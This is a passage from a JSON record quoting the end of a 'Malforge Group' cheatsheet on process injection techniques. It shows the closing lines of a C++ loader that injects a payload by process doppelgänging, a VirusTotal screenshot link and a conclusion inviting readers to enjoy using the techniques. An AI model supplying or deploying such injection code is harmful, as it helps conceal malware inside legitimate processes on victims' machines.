payload!\" \u003c\u003c std::endl;\n        return -1;\n    }\n\n    bool is_ok = process_doppel(targetPath, payloadBuf, (DWORD)payloadSize);\n\n    free_buffer(payloadBuf, payloadSize);\n    if (is_ok)\n    {\n        std::cerr \u003c\u003c \"[+] Done!\" \u003c\u003c std::endl;\n    }\n    else\n    {\n        std::cerr \u003c\u003c \"[-] Failed!\" \u003c\u003c std::endl;\n#ifdef _DEBUG\n        system(\"pause\");\n#endif\n        return -1;\n    }\n#ifdef _DEBUG\n    system(\"pause\");\n#endif\n    return 0;\n}\n```\n\n**Virustotal**\n\n![image](https://github.com/user-attachments/assets/6515e364-3b33-4dd9-923b-5aa7e1c27c31)\n\n**Article:**\n\n\u003e Process Hollowing\\\nIntroduction [medium.com](https://medium.com/@s12deff/process-doppelgänging-ff143d3d27fc)\n\n---\n\n## Conclusions\n\nThat’s all for my favorite process injection techniques. I hope you find this cheatsheet useful and enjoy using it!\n\nThanks For Reading! ;)\n\n**- Malforge Group**\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmalforge-maldev-public-organization%2Fprocess-code-injection-techniques-cheatsheet","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmalforge-maldev-public-organization%2Fprocess-code-injection-techniques-cheatsheet","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmalforge-maldev-public-organization%2Fprocess-code-injection-techniques-cheatsheet/lists"}